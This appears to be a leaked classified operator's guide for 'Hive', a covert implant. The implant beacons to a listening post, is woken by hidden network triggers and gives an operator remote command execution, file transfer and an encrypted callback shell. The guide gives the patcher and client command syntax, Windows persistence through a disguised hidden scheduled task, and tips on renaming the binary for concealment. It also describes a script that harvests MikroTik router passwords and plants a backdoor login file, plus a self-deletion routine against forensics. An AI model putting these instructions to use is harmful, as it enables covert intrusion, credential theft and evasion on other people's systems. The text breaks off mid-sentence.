SECRET//NOFORN

(U) Hive 2.6.2 User's Guide

January 13, 2014

Classified By: 0706993

Reason: 1.4(c)
Declassify On: 20390113
Derived From: COL S-06

SECRET//NOFORN
 SECRET//NOFORN (U) Hive 2.6.2 User's Guide

ii SECRET//NOFORN//20390113
(U) Hive 2.6.2 User's Guide SECRET//NOFORN

(U) Table of Changes

Date Change Description Authority

10/26/2010 Initial Release v1.0 TDR
12/30/1899 DR Release v1.0.1 TDR
01/12/2011 Release v1.0.2 for Linux/MikroTik MIPS-BE TDR
01/18/2011 Release v1.0.2 for Linux/MikroTik PPC TDR
02/14/2011 Release v1.0.2 for Solaris 9-10 x86 & Linux x86 TDR
03/07/2011 Release v1.0.2.1 for Linux/MikroTik MIPS-LE TDR
04/14/2011 Release v1.1 TDR
04/29/2011 Release v2.0 TDR
05/16/2011 Release v2.1 TDR
06/27/2011 Release v2.2 TDR
08/02/2011 Release v2.2 TDR
10/24/2011 Honeycomb Release v1.1 TDR
10/24/2011 Hive ILM v1.1 Release TDR
12/12/2011 Release v2.3 TDR
01/23/2012 Release v2.3.1 TDR
03/05/2012 Release v2.4 TDR
03/05/2012 Hive ILM v1.2.1 Release TDR
06/14/2012 Release v2.5 TDR
11/15/2012 Release v2.5.1 TDR
12/17/2012 Release v2.5.2 TDR
02/11/2013 Release 2.6 TDR
03/15/2013 Release 2.6.1 TDR
01/13/2014 Release 2.6.2 TDR

SECRET//NOFORN//20390113 iii
 SECRET//NOFORN (U) Hive 2.6.2 User's Guide

iv SECRET//NOFORN//20390113
(U) Hive 2.6.2 User's Guide SECRET//NOFORN

(U) Table of Contents

1 (U) Overview...........................................................................................................................................1
2 (U) Pre-Deployment...............................................................................................................................3
2.1 (S) Swindle........................................................................................................................................3
2.2 (S) Tool Handler...............................................................................................................................3
2.3 (S) Patcher.........................................................................................................................................4
2.4 (S) SSL Certificates..........................................................................................................................5
3 (U) Deployment......................................................................................................................................6
3.1 (S) Beacons.......................................................................................................................................6
3.2 (S) Triggers.......................................................................................................................................6
3.3 (S) Clients.........................................................................................................................................7
3.3.1 (S) hclient...................................................................................................................................7
3.3.2 (S) Cutthroat/Hive-ILM.............................................................................................................8
3.3.3 (S) Client Operational Notes....................................................................................................11
3.4 (S) hiveReset_v1_0.py....................................................................................................................12
4 (U) Post-Deployment............................................................................................................................14
4.1 (S) Self-Delete................................................................................................................................14
5 (U) Troubleshooting.............................................................................................................................15
6 (U) Appendix A: Idiosyncrasies & Limitations.................................................................................16
7 (U) Appendix B: Release Notes...........................................................................................................17
V2.6 01/30/2013....................................................................................................................................17
V2.5.2 12/06/2012.................................................................................................................................17
V2.5.1 11/29/2012.................................................................................................................................17
V2.5 06/20/2012....................................................................................................................................17
V2.4 03/05/2012....................................................................................................................................17
V2.3.1 01/23/2012.................................................................................................................................17
V2.3 12/12/2011....................................................................................................................................18
V2.2 08/22/2011....................................................................................................................................18
V2.1 05/23/2011....................................................................................................................................18
V2.2 08/22/2011....................................................................................................................................19
V2.1 05/23/2011....................................................................................................................................20
V2.0 05/9/2011......................................................................................................................................20
V1.1 04/14/2011....................................................................................................................................20
V1.0.2 01/21/2011*, 02/14/2011**, 03/07/2011***.............................................................................20
V1.0.1 2/22/2010...................................................................................................................................21
V1.0 10/27/2010....................................................................................................................................21
8 (U) For Further Assistance.................................................................................................................22

SECRET//NOFORN//20390113 v
 SECRET//NOFORN
(U) Hive 2.6.2 User's Guide (U) Overview

1 (U) Overview
(S) Hive is a software implant designed with “Ring 2” operations in mind. It has two primary functions:
beacon and interactive shell. By design, both are limited in features with the purpose of providing an
initial foothold for the deployment of other full featured tools.

(S) Hive provides implants for the following target operating systems and processor architectures See
section 7 starting on page 17 for more details about available and tested versions.

Platform Available Untested

Windows 2000 v2.4 -
Windows XP SP0-SP3 v2.4 -
Windows Server 2003 v2.4 -
Solaris SPARC 10 V2.6.2 -
Solaris SPARC V2.6.2 -
Solaris SPARC 8 V2.6.2 -
Solaris x86 10 V2.6.2 -
Solaris x86 9 V2.6.2 -
Solaris x86 8 - -
MikroTik x86 4.x V2.6.2 -
MikroTik x86 3.x - V2.6.2
MikroTik MIPS-BE 4.x V2.6.2 -
MikroTik MIPS-BE 3.x - V2.6.2
MikroTik MIPS-LE 4.x - V2.6.2*
MikroTik MIPS-LE 3.x - V2.6.2*
MikroTik PowerPC 4.x V2.6.2 -
MikroTik PowerPC 3.x V2.6.2
Linux x86 V2.6.2 -

* Linksys WRT54G flashed with DD-WRT v24sp2 used as surrogate for testing MikroTik MIPS-LE
binaries. No actual RouterBoard (i.e. MikroTik) hardware was used.

(S) The Hive release consists of the following files along with the unpatched binaries.
Filename Function
css.xml XML file for cutthroat's custom command set.

cutthroat Standardized interface for operators to run hclient.

hclient Linux executable. Used to send triggers to and interactively communicate with the
Hive implants. Has not been updated since Hive v1.X, but most implant features
still work with it.

hive Cutthroat ILM (i.e. module, shared library object). Provides the client functionality
to send triggers to, and interactively communicate with, the Hive implants.

SECRET//NOFORN//20390113 1
 SECRET//NOFORN
(U) Overview (U) Hive 2.6.2 User's Guide
Filename Function
hive-patcher Linux executable. When run, it produces executables with command line
parameters patched-in.

hiveReset_v1_0.py Python script for updating existing hive implants on remote boxes with a more
recent version.

honeycomb.py Linux executable. Tool handler for Hive beacons. HTTPS beacons validated by
Swindle are passed to Honeycomb. Honeycomb receives and logs the beacons.

swindle.cfg ASCII text file. Hive beacons use Loki's Blot DP/LP. Swindle is the HTTPS proxy
that verifies the beacons before forwarding to the tool handler.

(S) Below is the list of files included in this release, along with their size and MD5 hashes.

Filename File Size MD5 Hash

(bytes)
CCS.xml 490235 1dd06dd5b74ceb7cab9b599a22f99975
cutthroat 1095780 caba38dc033c86f5f9daa837dfe4c2fa
hive 670859 216f0da2dca51fb33044e5b525db45a3
hive-patcher 1368840 dee62bac8aa66f6a309c2bb1c675c3e0
hiveReset_v1_0.py 60292 d3153e378e24f4bed0ceddfcab599fb8
honeycomb.py 15500 5ef80df352e52e191556663c0bcc3059
swindle.cfg 680 3b9185be038c826c39734f1be273b37f
Unpatched Binaries
hived-linux-i386-unpatched 165280 a7729c8b0c5f1b0f3bc1888a43be3525
hived-mikrotik-i386-unpatched 163426 7905ecba0e020fe8883099fb45ff2e50
hived-mikrotik-mipsbe-unpatched 234944 e74ad934ff90aa2354d3874009563343
hived-mikrotik-mipsle-unpatched 235307 4f2d7d2e817684a21f2de8315c2d9eb3
hived-mikrotik-ppc-unpatched 175812 0806e6641cafe014266d30ee1d4b37ef
hived-solaris-i386-unpatched 174764 3adb8dfaf459948a0eea6a9439396059
hived-solaris-sparc-unpatched 207720 aa853024ec50b914c3cb3717b36d7e5c

2 SECRET//NOFORN//20390113
 SECRET//NOFORN
(U) Hive 2.6.2 User's Guide (U) Pre-Deployment

2 (U) Pre-Deployment
(S) Before initial deployment, Loki's Blot/Swindle must be set-up with Hive's Tool ID (0x65ae82c7) to
proxy connections to the Honeycomb tool handler. Honeycomb can reside on the same server as Swindle
but it is strongly recommended that it be deployed on a different server. Honeycomb acts much like a
traditional iterative server that handles incoming beacon connections one-by-one. After the implant is
validated by Swindle, the implant traffic is re-routed directly to Honeycomb. Honeycomb then
establishes an encrypted session with the implant. Swindle continues to proxy the encrypted network
packets.

2.1 (S) Swindle

(S) Loki documentation covers the procedures for setting up a Blot DP/LP with Swindle, as such
procedures are beyond the scope of this document. Hive provides a sample Swindle configuration file
(swindle.cfg) to be saved to /etc/blot/ on the Swindle server. Restarting Swindle (service
swindle restart) will re-read the configuration file. The Hive project made no changes to the Swindle
binaries or server and aims to fully conform to the existing Swindle protocols and procedures. In the
Swindle configuration file, the most important parameters are the IP and port for the tool handler (e.g.
Honeycomb) and the Hive Tool ID.

2.2 (S) Tool Handler

(S) Honeycomb is a server application that handles the beacons proxied from Swindle. The Honeycomb
server can be configured to start the tool handler automatically at system start (via the /etc/init.d or
/etc/rc.local scripts).

Honeycomb accepts the following command line options:

python2 honeycomb.py [-p <port>] [-f <file path>] [-l <log path>]

where:
<port> is the port that honeycomb will listen on for proxy connections coming from Swindle.
<file path> is the location where beacon rsi files will be written.
<log path> is the location where beacon log files will be written.

(S) Upon receiving a beacon, Honeycomb will parse-out the MAC address, public IP address, and
uptime of the implanted box. Honeycomb will then write out a ".rsi" file that is one-way transferred for
ingestion into Ripper Snapper. The implant ID used in the Ripper Snapper files is the unformatted MAC
address of the implanted box. As of Hive 2.0 additional survey data are collected from the beacon.
Additional information on this data can be found in section 3.1.

(S) Hive v2.0 functionality was added to Honeycomb so that it will keep a basic log of beacons that are
received. Every beacon will have a log entry created that contains a timestamp of when the beacon was
received, the MAC address, public IP address, and the version of the implant that beaconed. In addition,
for Hive v2.0 beacons and later, there will be a flag related to which OS the beacon came from.

SECRET//NOFORN//20390113 3
 SECRET//NOFORN
(U) Pre-Deployment (U) Hive 2.6.2 User's Guide

2.3 (S) Patcher

(S) hive-patcher patches parameters into the implant binaries to reduce the implant's footprint on
the target. The patcher “gives birth” to the implant binaries. In other words, the patcher creates the
needed binaries for the operator without requiring a pre-existing reference executable. The patcher will
create patched versions (with the string “PATCHED” in the file name) in the current working directory
from where the patcher is run. Hive implants are not required to be patched, as the implants will still use
command line arguments. However, in the case where the Hive implant is patched AND the operator
passes it runtime arguments, the implant will only use the patched arguments. Except for the '-m' option,
the patcher and the implant accept the same options.
./hive-patcher -a <addr> [-p port] [-d <b_delay>] [-i <interval>] \
[-j jitter] [-s sd_delay] [-t <t_delay>] [-I <interface>] \
[-m <OS>]

where:

<addr> is the IP address or hostname of beacon server, that is, the Swindle proxy.

<port> is the (optional) beacon port. Default is 443 for HTTPS which is the protocol the Hive
implants and Swindle emulate.

<b_delay> is the initial delay (in seconds) before the first beacon is sent. If b_delay is 0, then
beacons will be disabled.

<interval> is the beacon interval or sleep time between beacons (in seconds).

<jitter> is the beacon jitter (as a percentage). That is, the amount of beacon variation as a
percentage of current beacon interval.

<sd_delay> is the self delete delay (in seconds). Amount of time since last successful beacon or
trigger allowed to pass before self-deletion occurs. If unused, the default value is 60
days in seconds.

<t_delay> is the (optional) delay (in seconds) between trigger received and callback +/- 30
seconds.

<interface> (Solaris only) The interface on which to listen for triggers. Usually something like
“hme0” or “e1000g0”. Required option for Solaris, but ignored for Windows, Linux,
and MikroTik.

<OS> is the target operating system. Patch parameters into this type of executable. Options are
'all', 'raw', 'win', 'mt-x86', 'linux-x86', 'sol-x86', or 'sol-sparc'. 'all' is the default. 'raw'
provides all binaries but unpatched versions.

Examples:

(S) Patch Windows executable to beacon to 10.3.2.169:443 every hour, with 5% beacon jitter
variance, after default initial delay using:
./hive-patcher -a 10.3.2.169 -i 3600 -j 5 -m win

4 SECRET//NOFORN//20390113
 SECRET//NOFORN
(U) Hive 2.6.2 User's Guide (U) Pre-Deployment
(S) Patch Solaris SPARC executable to beacon to 10.3.2.169:443 every hour with initial delay of
one hour using interface hme0 with:
./hive-patcher -a 10.3.2.169 -p 443 -i 3600 -d 3600 -I hme0 -m sol-sparc

(S) NOTE 1: Change the name of the resulting executable into another name that would be consistent
with hiding it on the target system before deployment. Record the new name so you can use it for future
reference as required.

(S) NOTE 2: The patcher will support hostnames up to 256 characters long.

2.4 (S) SSL Certificates

(S) The implant communicates with the Hive client using SSL connections. Three files, server.crt,
server.key and ca.crt, must be installed in the same directory as the client and must have read
permissions set so they can be accessed by the client. Communications with the implant will fail if
any one of these files are missing or invalid. (For an example see section 5 on page 15.)

SECRET//NOFORN//20390113 5
 SECRET//NOFORN
(U) Deployment (U) Hive 2.6.2 User's Guide

3 (U) Deployment

3.1 (S) Beacons

(S) Patched or unpatched implants are provided by the generator application. In the case of unpatched
implants, the implant is started on target using the same command line arguments as the patcher, less the
patcher's '-m' option (see Section 2.3). The Solaris, Linux, and MikroTik implants will detach from the
user's terminal and fork into the background. The Windows implant will attempt to establish a basic
level of reboot persistence by creating a hidden task, which will have a filename of
SystemRestorePoint.job, in the Windows Task Scheduler. This task will restart the implant upon
system startup as the SYSTEM user. Windows persistence will only be setup if the implant has been
patched.

(S) The goal is for the operator to have a consistent user experience, regardless of the implant's operating
system. On the wire, the implant mimics a SSLv3 handshake with Swindle (LP) and then sends a small
amount of encrypted data to the tool handler. The encrypted beacons consist of the Swindle Tool ID,
system uptime, and MAC address*. Hive version 2.0 added additional survey information to the beacon.
This data includes a process listing, ipconfig/ifconfig, "netstat -rn", and a "netstat -an". In the event the
survey fails, the RSI file will show an empty data element in the XML.
*NOTE: (S) The Windows implant pulls the MAC address from what the O/S thinks is the “primary”
network interface. The Solaris implant attempts to pull the MAC address first from an interface named
hme0 and then e1000g0 regardless of whether those interfaces are configured, active, or not. Similarly,
the Linux and MikroTik implants use the MAC assigned to the eth0 interface. At this time, the MAC
address is used only as a unique identifier for tracking implants.

(S) The beacon parameters cannot be changed dynamically by the hive tool handler. To change the
beacon parameters, the implants need to be re-patched with new parameters and re-deployed, or in the
case of unpatched implants, they need to be restarted with new command line arguments.

3.2 (S) Triggers

(S) The Hive client establishes an interactive session with the implant by sending it a trigger. Hive
versions 1.0 through 2.6.2 support the following seven trigger types:
ICMP: ping-request, ping-reply, icmp-error
UDP: dns-request, tftp-wrq, raw-udp
TCP: raw-tcp
(S) To use the ICMP based triggers, the operator must execute the Hive client with root privileges. The
icmp-error and UDP triggers are a single packet. After the TCP handshake, the raw-tcp trigger is a single
packet. The two ping triggers – ping-reply and ping-request – are a series of 5-6 packets with data
encoded in each. All packets in the sequence must be received for the trigger to work.

(S) The raw-udp trigger can be sent to any UDP port on the target system. The raw-tcp trigger can be
sent to any open and listening port on the target system.

6 SECRET//NOFORN//20390113
 SECRET//NOFORN
(U) Hive 2.6.2 User's Guide (U) Deployment
(S) During preliminary developer testing, it was discovered that some ISPs may block, as a matter of
policy, ICMP error packets. Your mileage may vary. However, the developers also discovered that the
Windows firewall setting ON with no exceptions blocks all triggers except the icmp-error triggers.
[Note: Cisco ASA default policy is to drop ICMP error and IV&V results were contrary.]

(S) The Hive implant watches for trigger packets in the incoming flow of network traffic. This “sniffer”
behavior is slightly different on each operating system. On Windows, Hive listens for traffic only on the
network interface the operating system deems is the “primary network interface.” On Solaris, the user
must specify which single interface to sniff via either the patcher or the command line using the -I
switch. On Linux and MikroTik, Hive listens on all physical interfaces.

(S) Once the implant receives a valid trigger, it pulls the callback IP address and port from the trigger
packet, waits a default delay, and then calls back to the listening Hive client. Once connected, the
implant and Hive client perform a TLS handshake and initialize an AES encrypted session. See (U)
Appendix A: Idiosyncrasies & Limitations on page 16 for special situations.

3.3 (S) Clients

3.3.1 (S) hclient

(S) The Hive client has been designed so that triggers can be sent from one Hive client and callbacks
caught with another. Or, if preferred, triggers from and callbacks to the same Hive client (default). This
behavior is configured via the Hive client command line as detailed here.

To listen only:
./hclient­linux ­p <port>

To trigger only or trigger & listen:

./hclient­linux ­p <port> [­t <target IP>] [­a <listener IP>]\
[­P <protocol>] [­r <raw port>] [­m <mode>] [­h]

where:
<port> is the callback port.

<target IP> is the IP address of target (required for triggers).

<listener IP> is the IP address of listener (required for triggers).

<protocol> is the trigger protocol: dns-request, tftp-wrq, icmp-error, ping-reply, ping-request,

raw-tcp, or raw-udp (required for triggers).

<raw_port> is used when using raw triggers. This specifies on which port to send the trigger.
(required for raw triggers)

<mode> tells the client to listen-only (l), trigger-only (t), or both (b). Both is the default.

-h prints the usage.

SECRET//NOFORN//20390113 7
 SECRET//NOFORN
(U) Deployment (U) Hive 2.6.2 User's Guide
(S) Once connected, the Hive client provides an interactive session with basic functions. "Old school"
operators will recognize the Hive client – it is essentially the same interface with commands used by the
Forklift tool.

(S) List of allowable commands:

execute | exec | exe execute an application on the remote computer

upload | ul | up upload a file to the remote computer

download | dl download a file to the local computer

delete | del delete a file on the remote computer

exit | q close the TCP connection but keep the server running on the remote
computer

shutdown | shut for the Windows implant, closes the TCP connection and stop the server
running on the remote computer. This DOES NOT uninstall or delete the
implant. See NOTES below for details. For the *nix implants, same as
exit.

help display help information

(S) Examples of command usage:

 ./hclient­linux> exec <remote application name>
 ./hclient­linux> ul <local src filename> <remote dest filename>
 ./hclient­linux> dl <remote src filename> <local dest filename>
 ./hclient­linux> del <remote filename>
 ./hclient­linux> exit
 ./hclient­linux> shut
 ./hclient­linux> help
 ./hclient­linux> exec “rm ­f filename”
 ./hclient­linux> exec “del filename”

(S) NOTE: The secure shell is not supported by hclient.

3.3.2 (S) Cutthroat/Hive-ILM

(S) The same hclient functionality described in Section 3.3.1 is available as a Cutthroat Implant Library
Module (ILM). Cutthroat is the standardized management interface for controlling the Hive implants,
versus the executable hclient-linux binary. You should verify that your version of cutthroat is operational
by entering the command “./cutthroat”. To use cutthroat with Hive, you must also have hive (the
implant library module) and CCS.xml installed in the same directory as cutthroat. To start the Hive
implant library module, you must first enter the following commands: “./cutthroat hive” or
“./cutthroat” followed by “load hive”. It should be noted that two of Cutthroat's
commands, verbosity and mode are not used by the Hive implant and should be ignored.

8 SECRET//NOFORN//20390113
 SECRET//NOFORN
(U) Hive 2.6.2 User's Guide (U) Deployment
(S) If the Hive ILM loads, the operator will see a “[success] Successfully loaded hive
[load]” message followed by cutthroat's standard greeting which includes cutthroat's version number
on the computer terminal. The operator may hit the “tab” key at any time to see a list of available
commands for the operator to select while operating cutthroat.

(S) Warning: When using two clients to separately handle trigger and listen, the operator should
start the listener first. The operator should assume failure unless the operator receives a “Success”
message via the cutthroat interface.

(S) NOTE: When the target is a Solaris platform, do not close any shell until the end of the session. If
you do, you must retrigger the device to use any trigger commands (e.g. upload, download, etc.). The
ILM reminds the user with the following note:

NOTE FOR SOLARIS ONLY: Keep all shells open until you are done.
Once you close any solaris shell, the trigger will appear normal
but it is no longer connected. In this case, you must quit the
trigger and retrigger the device.

3.3.2.1 (S) Disconnected State

(S) While in a disconnected state, the following commands are available:
ilm trigger send trigger to remote host
ilm listen listen for reverse connect from remote host
ilm connect combines functions of trigger and listen.
quit exits the cutthroat application
verbosity unused
mode unused

3.3.2.2 (S) Disconnected State: Cutthroat Listener

(S) To start the listener, enter:
ilm listen <port number>

where <port number> is any number from 1 through 65535. For example, if the operator enters “ilm
listen 4567”, they should observe the following message “Listening for connection on
port 4567 ...”.

(S) The listener will continue listening on the assigned port until it receives a response from the implant
or the operator kills the current process.

3.3.2.3 (S) Disconnected State: Cutthroat Connect

(S) The connect option combines the functionality of the trigger and listen options. Connect is called in
the exact same way as trigger, with the use of a trigger file being it's only parameter:
ilm connect <triggerFileName>

See the section 3.3.2.4 for details on how to create a trigger file.

SECRET//NOFORN//20390113 9
 SECRET//NOFORN
(U) Deployment (U) Hive 2.6.2 User's Guide
3.3.2.4 (S) Disconnected State: Cutthroat Trigger
(S) To start the trigger, enter:
ilm listen <triggerFileName>

where the <triggerFileName> is the name of any file in the directory where cutthroat is running. If the
trigger file does not exist, the requested trigger file will be created and the operator will be prompted for
the following information:

Listener's IP Address IP address used by the implant to connect back to the Listener.

Listener's Port Number Open port on the Listener waiting for the implants callback

Target IP Address IP address where the implant is currently installed.

trigger protocol trigger protocol: dns-request, tftp-wrq, icmp-error, ping-reply,

ping-request, raw-tcp, raw-udp (Required for triggers.)

raw port Raw Port number in the range of 1 through 65535 where the raw-tcp or
raw-udp trigger will be sent. For all other trigger protocols (i.e.
dns-request, tftp-wrq, icmp-error, ping-reply, ping-request), this should
be set to -1.

(S) The trigger file will contain each of the previously defined parameters separated by a '|' between each
field. A sample of the first line of a sample trigger file is shown below:
10.3.2.141|4567|10.2.5.99|dns-request|-1
where the listener's IP address is 10.3.2.141, listener's port number is 4567, the Implant is running on a
target host with IP address of 10.2.5.99 and a dns-request protocol type will be used to trigger the
implanted device. Note that since a dns-request protocol is being used, the raw port is set to -1.

(S) If the trigger file does exist, the operator should see a message of the parameters used for the trigger
displayed on the screen as well as a “The trigger was sent.” message, along with a success or failure
status. NOTE: A “success” at this point only means that a trigger was sent.

(S) If everything worked, the listener should receive a callback from the implant based on implant's
configured trigger delay. The client is now in a connected state and different command line options are
available in cutthroat.

(S) NOTE: The operator should verify that the “[<implant IP address>]” prompt within the
listener actually displays the intended target's IP address. It has been noted that other implants
that also receive the trigger packet may attempt to respond, thus creating a race condition where
the first device to respond will usually receive the connection.

3.3.2.5 (S) Connected State

Once the cutthroat client is connected to the implant, additional commands will be available for control
of the implant. Below is the list of available commands:
cmd exec execute an application on the remote computer. As an argument, enclose the
command to execute in double or single quotes. See example below.

10 SECRET//NOFORN//20390113
 SECRET//NOFORN
(U) Hive 2.6.2 User's Guide (U) Deployment

file put upload a file to the remote computer. Requires 2 arguments: source and destination
filenames. NOTE: Be sure the target has sufficient space for the file, as Hive
does not currently provide any indication of an unsuccessful transfer due to
insufficient space on the filesystem.

file get upload a file to the remote computer. Requires 2 arguments: source and destination
filenames.

file delete delete a file on the remote computer. Requires 1 argument: filename.

ilm exit close the Listener's TCP connection, but keep the server implant running on the
remote computer. Cutthroat application stays open. Same as shutdown now.

quit close the Listener's TCP connection, but keep the server implant running on the
remote computer. Cutthroat application will also close.

shutdown now close the Listener's TCP connection, but keep the server implant running on the
remote computer. Cutthroat application stays open. Same as ilm exit.

shell open open an encrypted shell with the client (as a separate process). Takes three
parameters in the following order: client IP address, client port number, and a
password that initializes the Twofish symmetric cipher. See the example below.
Hive v2.6.2 supports the encrypted secure shell on all devices.
NOTE: This shell will remain open and connected to the target host until
exited even if the ILM client is exited.

(S) Examples of command usage:

[10.2.5.22]> cmd exec “/path/to/file arg1 arg2”
[10.2.5.22]> file delete /path/to/file
[10.2.5.22]> file get /path/to/remote/file /path/to/local/file
[10.2.5.22]> file put /path/to/local/file /path/to/remote/file
[10.2.5.22]> ilm trigger /name/of/trigger/file
[10.2.5.22]> ilm exit
[10.2.5.22]> shutdown now
[10.2.5.22]> shell open 192.168.1.100 4444 Password1

3.3.3 (S) Client Operational Notes

(S) The following topics are common to both hclient and ILM clients.

3.3.3.1 (S) File Deletion

By default, the delete command will attempt a secure delete and overwrite the named file with zeros
before deletion. If the secure delete fails, it will return an “unsuccessful” status to the Hive client. If the
secure delete fails, the operator should then try to execute an “exec” command with either an
“rm -f <filename>” or a “del <filename>” command for Unix or Windows implants,
respectively, as shown in the examples in sections 3.3.1 and 3.3.2.5 above.

SECRET//NOFORN//20390113 11
 SECRET//NOFORN
(U) Deployment (U) Hive 2.6.2 User's Guide
3.3.3.2 (S) Default File Permissions
On Solaris, Linux, and MikroTik, files uploaded are written to the remote system with 644 permissions.
After uploading an executable, and before executing it, make the file executable by using Hive to
execute chmod a+x <filename>.

3.3.3.3 (S) Shutdown Command

The shutdown command only causes the implant to stop running its current instance. This means that
when the target is rebooted, the implant will restart. The shutdown command does not delete the implant
or uninstall it from the boot-time start-up routines. Using a Windows target as an example, one potential
work-around is to establish a Hive shell session and use 'exec schtasks' to delete the hidden task
SystemRestorePoint which is the cover task that starts Hive at boottime.

3.3.3.4 (S) Connection Timeouts

Currently all versions are able to recover from the loss of connection between implant and client. This is
achieved by Hive spawning off a separate process to handle each triggered connection on Unix
platforms and spawning off separate threads on Windows. This also allows multiple connections to the
same implant. There are currently two timeouts enabled on these connections. The first is a connect
timeout. If a Hive implant is unable to connect back to the client after 5 minutes, the connection
will kill itself. Hive will also kill the connection to an implant after 60 minutes of inactivity.
Currently, there is no notification in the client that a connection has been closed; however, when the next
command is entered the client will report that the command can not be completed.

3.3.3.5 (S) Windows Secure Shell Tradecraft

When the secure shell command is called, it will write out the shell to disk and then spawn off a new
process for the secure shell. The secure shell will be called whatever Hive is called plus "32.exe". It will
be executed in the same directory as Hive. The secure shell will also self delete once it is finished with
execution by a self deleting the .cmd file that is called "~mstemp.cmd." This cmd will only be on
the system for a matter of seconds.

3.4 (S) hiveReset_v1_0.py

(S) Since Hive has been installed and used on such a wide scale, an update capability was provided for
updating the Hive implants on remote boxes. This script requires Python 2.7 with a “pexpect”
module/capability. It is expected that Cutthroat and the Hive ILM also be located in the same directory
as the hiveReset_v1_0.py script. To update a remote box, you must first have the following
information:

Old implant file name Name of Hive implant currently running on the remote box.

Installation directory full path name that starts and ends with a “/” where the old Hive implant is
currently installed (e.g. /rw/pckg/).

12 SECRET//NOFORN//20390113
 SECRET//NOFORN
(U) Hive 2.6.2 User's Guide (U) Deployment

Operating System Mikrotik MIPS LE, Mikrotik MIPS BE, Mikrotik PPC, Mikrotik x86, Solaris
sparc, Solaris x86, Linux, or Windows. NOTE: An update capability for
Microsoft Windows does not exist at this time.

Full busybox name For Mikrotik routers only. Includes the full path prefix with busybox name
(e.g. /rw/pckg/busybox).

New Hive implant name New Hive implant filename that was just created using the hive-patcher
program specified above.

Cutthroat parameters Callback IP and port, trigger type, remote IP (box with Hive implant that will
be updated), etc. as specified above.

(S) After the operator has determined all the above parameters and has the necessary files (new Hive
implant, Cutthroat, and Hive (ILM)), the operator may update a box using the following command:
hiveReset_v1_0.py [­s, ­b] ­f <Configuration File name>

where the -s option means only a single box will be updated and the -b option refers to a batch process
where multiple boxes are updated. Note that the user may also use a -h option to display a usage
statement. If the configuration file does not exist, just give it a new name and it will be created after the
operator has answered a variety of questions.

(S) This same configuration file, can be used to update multiple Hive implants as long as they have the
same configuration. For example if two boxes with IP addresses of 10.1.2.3 and 10.3.2.1 respectively
are running an old Hive implant (same name) in the same installation directory (same full path name)
with the same busybox name “e.g. /rw/pckg/busybox” both boxes could be updated using the following
command:
hiveUpdater.py ­b ­f <Configuration File name>

where the Configuration File contains a line for the target File which contains the IP address of each box
being updated. In this case, “10.1.2.3” and “10.3.2.1” would both be on a separate line. Note that this
list may contain multiple target IP addresses, but all the Hive Updater Configuration settings contained
within the configuration file must be the same. Note that once these files are created, they may be used
again for all future updates as long as the parameters remain the same.

(S) Note that this python script also contains a reset option which will reset the /var/.config timer file for
all linux, Mikrotik, and Solaris boxes. This reset script was also modified to retrieve passwords and
create one directory on all Mikrotik devices per guidance from COG based on their standard exploits.
Passwords contained in the /nova/store/user.dat and the /rw/store/user.dat files are stored in a
pA.IPAddress and pB.IPAddress files respectivly for Mikrotik devices. The reset capability will also
create a /nova/etc/devel-login file that is used by COG to exploit the targeted device.

(S) It has been noted that this same update capability can and will be upgraded/expanded in future
versions of Hive to install other modules and tools for target exploitation in an automated fashion.

SECRET//NOFORN//20390113 13
 SECRET//NOFORN
(U) Post-Deployment (U) Hive 2.6.2 User's Guide

4 (U) Post-Deployment

4.1 (S) Self-Delete

(S) Self-delete was first added to Hive in version 2.2 and is used to ensure that any Hive implant that
lays dormant (has not beaconed successfully to its designated LP or has not been triggered from a
command post) for a predetermined amount of time effectively destroys itself with the only remnant
being a “configuration file” (.config) and a log file (.log) left behind in /var directory. During normal
operation the .config file is empty, with its last modified time indicating the time of last contact – either
from a beacon or a trigger – and the .log file is non-existent. When self-delete executes, the Hive binary
is deleted from the host and the .log file is created with a time stamp inserted into it using the format
yymmddHHMMSS. (The time stamp inserted into the file should match the last modification time of the
file.) On Linux and MikroTik, the implant will overwrite the binary on the filesystem with zeros. On
Solaris, a self deleting shell script is created at "/tmp/.configure.sh". This shell script will delete the Hive
binary from disk and then delete itself.

NOTE for Windows Only: In older versions of Hive, a hidden file named uninstallreadme.txt is
created in the "C:\windows” directory. The implant deletes the timer file and then creates a self-
deleting ".bat" file to delete the binary from disk.

(S) The decision to self-delete is determined by the difference between the system time and the last-
modified time stamp on the configuration file. Whenever the system time exceeds the time stamp on the
configuration file by more than the delete delay, Hive will self-delete. It is important to note that the
system time on implanted devices may vary widely depending upon the environment. Consequently, the
simple act of correcting the date/time on the device by a system administrator could result in self-
deletion.

14 SECRET//NOFORN//20390113
 SECRET//NOFORN
(U) Hive 2.6.2 User's Guide (U) Troubleshooting

5 (U) Troubleshooting
(S) Below is an example two ILM client sessions, the uncolored area being common to both. The light
green section shows a good connection, the light yellow a bad connection that was caused by using an
SSL certificate chain (ca.crt) that doesn't match the server certificate (server.crt).

root@kubuntu-11:~/hive# ./cutthroat ./hive

[success] Successfully loaded ./hive [load]

CutThroat
JY008C634-6
Version: 2.2
CCS Version: 2.2

Usage:

verbosity <level> Sets the verbosity level

mode <new mode> Sets the operating mode of CT
load <ILM Filename> Loads the library
quit Exits Command Post

> ilm connect dns

Listening for connection on port 8123 ...

Trigger details:
. Remote IP address 10.6.5.190 with dns-request trigger
. Callback IP address 10.6.5.195 on port 8123

Trigger sent.

... connection established!

Connection details:
. Remote IP address 10.6.5.190 on port 42146
. Local IP address 10.6.5.195 on port 8123

Enabling encrypted communications:

. TLS handshake complete.

[Success]
************ Success ************
[ilm connect 10.6.5.190]

Enabling encrypted communications:

> Error: Certificate chain verification failed: NOT TRUSTED
* Error: TLS connection with TLS client failed to initialize.
[Local Failure]
************ Local Failure ************
[ilm connect dns]

>

SECRET//NOFORN//20390113 15
 SECRET//NOFORN
(U) Appendix A: Idiosyncrasies & Limitations (U) Hive 2.6.2 User's Guide

6 (U) Appendix A: Idiosyncrasies & Limitations

(S) On Windows, the operating system resets the uptime to zero after the system has been up for 49
days. Currently, there is no current mechanism available to differentiate between a “rollover” (i.e.
system up longer than 49 days) and an actual reboot.

(S) On Solaris or Linux, executing a GUI program without backgrounding the process (using an
ampersand on the command line following the command) may cause the interactive session to hang.
Generally, it is probably a bad idea to execute a GUI program on your target anyway.

(S) On Solaris, Linux, and MikroTik, files uploaded are written to the remote system with 644
permissions. After uploading an executable and before executing it, make the file executable by using
Hive to execute chmod a+x <filename>.

(S) The patcher will support hostnames up to 256 characters long.

(S) MikroTik systems store DNS configuration in a proprietary format. Even if the MikroTik is
configured with DNS server(s), the MikroTik system libraries don't know how to read it. Therefore,
Hive cannot resolve hostnames. The operator could enable DNS by creating the /etc/resolv.conf file and
marking it as executable. The following example uses Google's public DNS server:
